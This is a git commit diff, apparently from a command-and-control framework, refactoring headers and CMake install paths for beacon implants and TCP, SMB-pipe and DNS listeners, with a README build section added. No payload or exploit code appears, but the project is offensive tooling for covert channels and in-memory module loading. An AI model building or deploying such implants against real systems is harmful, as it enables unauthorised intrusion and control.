Fix package

kali · kali · commit 2c117d312386 · 2025-09-03T15:19:42.000-04:00
diff --git a/CMakeLists.txt b/CMakeLists.txt
@@ -176,7 +176,7 @@ add_subdirectory(beacon)
 add_subdirectory(modules)
 
 install(
-  DIRECTORY beacon/ listener/ modules/
+  DIRECTORY beacon/ listener/ modules/ModuleCmd/
             ${sockethandler_SOURCE_DIR}/src/
             ${pipehandler_SOURCE_DIR}/src/
             ${memorymodule_SOURCE_DIR}/src/
diff --git a/README.md b/README.md
@@ -24,3 +24,11 @@ This repository is intended to be used as a dependency in both Windows and Linux
 - C++17 compatible compiler (e.g., `g++`, or MSVC)
 
 This repo is not supposed to be built on its own.
+
+## Build
+
+```
+cmake -S . -B build
+cmake --build build
+cmake --install build --prefix <install_root>
+```
diff --git a/beacon/Beacon.cpp b/beacon/Beacon.cpp
@@ -17,6 +17,7 @@
 
 #include <MemoryModule.h>
 
+
 typedef ModuleCmd* (*constructProc)();
 
 #elif _WIN32
diff --git a/beacon/Beacon.hpp b/beacon/Beacon.hpp
@@ -1,8 +1,7 @@
 #pragma once
 
-#include <listener/ListenerTcp.hpp>
-#include <listener/ListenerSmb.hpp>
-#include "SocksTunnelClient.hpp"
+#include <ListenerTcp.hpp>
+#include <ListenerSmb.hpp>
 
 #include <queue>
 #include <string>
@@ -15,6 +14,9 @@
 #include "Common.hpp"
 
 
+#include <SocksTunnelClient.hpp>
+
+
 class Beacon
 {
 public:
diff --git a/beacon/BeaconDns.cpp b/beacon/BeaconDns.cpp
@@ -1,4 +1,6 @@
 #include "BeaconDns.hpp"
+#include <client.hpp>
+
 
 using namespace std;
 using namespace dns;
diff --git a/beacon/BeaconDns.hpp b/beacon/BeaconDns.hpp
@@ -1,8 +1,11 @@
 #pragma once
 
-#include <client.hpp>
 #include "Beacon.hpp"
 
+namespace dns
+{
+	class Client;
+}
 
 class BeaconDns : public Beacon
 {
diff --git a/beacon/BeaconSmb.cpp b/beacon/BeaconSmb.cpp
@@ -1,4 +1,5 @@
 #include "BeaconSmb.hpp"
+#include <PipeHandler.hpp>
 
 using namespace std;
 using namespace PipeHandler;
diff --git a/beacon/BeaconSmb.hpp b/beacon/BeaconSmb.hpp
@@ -1,9 +1,13 @@
 #pragma once
 
-#include <PipeHandler.hpp>
 #include "Beacon.hpp"
 
 
+namespace PipeHandler
+{
+	class Client;
+}
+
 class BeaconSmb : public Beacon
 {
 
diff --git a/beacon/CMakeLists.txt b/beacon/CMakeLists.txt
@@ -1,4 +1,5 @@
 include_directories(../modules/ModuleCmd)
+include_directories(../listener)
 
 
 set(SOURCES_BEACON_HTTP_EXE
diff --git a/beacon/SocksTunnelClient.hpp b/beacon/SocksTunnelClient.hpp
diff --git a/beacon/tests/CMakeLists.txt b/beacon/tests/CMakeLists.txt
@@ -1,5 +1,6 @@
 include_directories(..)
 include_directories(../..)
+include_directories(../../listener)
 include_directories(../../modules/ModuleCmd)
 
 # Unit tests using Catch2
diff --git a/listener/Listener.hpp b/listener/Listener.hpp
@@ -5,9 +5,9 @@
 #include <mutex>
 #include <vector>
 
-#include "CommonCommand.hpp"
-#include "Session.hpp"
-#include "Common.hpp"
+#include <CommonCommand.hpp>
+#include <Session.hpp>
+#include <Common.hpp>
 
 #ifdef BUILD_TEAMSERVER
 #include "spdlog/spdlog.h"
diff --git a/listener/ListenerDns.cpp b/listener/ListenerDns.cpp
@@ -1,5 +1,6 @@
 #include "ListenerDns.hpp"
-
+#include <server.hpp>
+#include <client.hpp>
 
 
 using namespace std;
@@ -8,8 +9,9 @@ using json = nlohmann::json;
 
 ListenerDns::ListenerDns(const std::string& domainToResolve, int port)
 	: Listener(domainToResolve, std::to_string(port), ListenerDnsType)
-	, m_serverDns(port, domainToResolve)
 {
+	m_serverDns = new dns::Server(port, domainToResolve);
+
 	m_listenerHash = random_string(SizeListenerHash);
 
 	json metadata;
@@ -18,7 +20,7 @@ ListenerDns::ListenerDns(const std::string& domainToResolve, int port)
     metadata["3"] = std::to_string(port);
 	m_metadata = metadata.dump();
 
-	m_serverDns.launch();
+	m_serverDns->launch();
 
 	m_stopThread=false;
 	m_dnsListener = std::make_unique<std::thread>(&ListenerDns::launchDnsListener, this);
@@ -27,10 +29,12 @@ ListenerDns::ListenerDns(const std::string& domainToResolve, int port)
 
 ListenerDns::~ListenerDns()
 {
-	m_serverDns.stop();
+	m_serverDns->stop();
 
 	m_stopThread=true;
 	m_dnsListener->join();
+
+	delete m_serverDns;
 }
 
 
@@ -45,7 +49,7 @@ void ListenerDns::launchDnsListener()
 
 			SPDLOG_DEBUG("receiving");
 	
-			string input = m_serverDns.getMsg();
+			string input = m_serverDns->getMsg();
 
 			SPDLOG_DEBUG("received input.size {0}",std::to_string(input.size()));
 
@@ -57,7 +61,7 @@ void ListenerDns::launchDnsListener()
 				SPDLOG_DEBUG("sending output.size {0}", std::to_string(output.size()));
 
 				if(!output.empty())
-					m_serverDns.setMsg(output);
+					m_serverDns->setMsg(output);
 			}
 			
 			std::this_thread::sleep_for(std::chrono::milliseconds(1000));
diff --git a/listener/ListenerDns.hpp b/listener/ListenerDns.hpp
@@ -1,10 +1,13 @@
 #pragma once
 
-#include <server.hpp>
-#include <client.hpp>
 #include "Listener.hpp"
 
 
+namespace dns
+{
+	class Server;
+}
+
 class ListenerDns : public Listener
 {
 
@@ -15,7 +18,7 @@ class ListenerDns : public Listener
 private:
 	void launchDnsListener();
 
-	dns::Server m_serverDns;
+	dns::Server* m_serverDns;
 
 	bool m_stopThread;
 	std::unique_ptr<std::thread> m_dnsListener;
diff --git a/listener/ListenerSmb.cpp b/listener/ListenerSmb.cpp
@@ -1,4 +1,5 @@
 #include "ListenerSmb.hpp"
+#include <PipeHandler.hpp>
 
 
 using namespace std;
diff --git a/listener/ListenerSmb.hpp b/listener/ListenerSmb.hpp
@@ -1,9 +1,13 @@
 #pragma once
 
-#include <PipeHandler.hpp>
 #include "Listener.hpp"
 
 
+namespace PipeHandler
+{
+	class Server;
+}
+
 class ListenerSmb : public Listener
 {
 
diff --git a/listener/ListenerTcp.cpp b/listener/ListenerTcp.cpp
@@ -1,4 +1,5 @@
 #include "ListenerTcp.hpp"
+#include <SocketServer.hpp>
 
 using namespace std;
 using json = nlohmann::json;
diff --git a/listener/ListenerTcp.hpp b/listener/ListenerTcp.hpp
@@ -1,9 +1,10 @@
 #pragma once
 
-#include <SocketServer.hpp>
 #include "Listener.hpp"
 
 
+class SocketServer;
+
 class ListenerTcp : public Listener
 {
 

Original file line number	Diff line number	Diff line change
`@@ -1,4 +1,5 @@`
`1`	`1`	`#include "BeaconSmb.hpp"`
	`2`	`+#include <PipeHandler.hpp>`
`2`	`3`
`3`	`4`	`using namespace std;`
`4`	`5`	`using namespace PipeHandler;`
Original file line number	Diff line number	Diff line change
`@@ -1,4 +1,5 @@`
`1`	`1`	`include_directories(../modules/ModuleCmd)`
	`2`	`+include_directories(../listener)`
`2`	`3`
`3`	`4`
`4`	`5`	`set(SOURCES_BEACON_HTTP_EXE`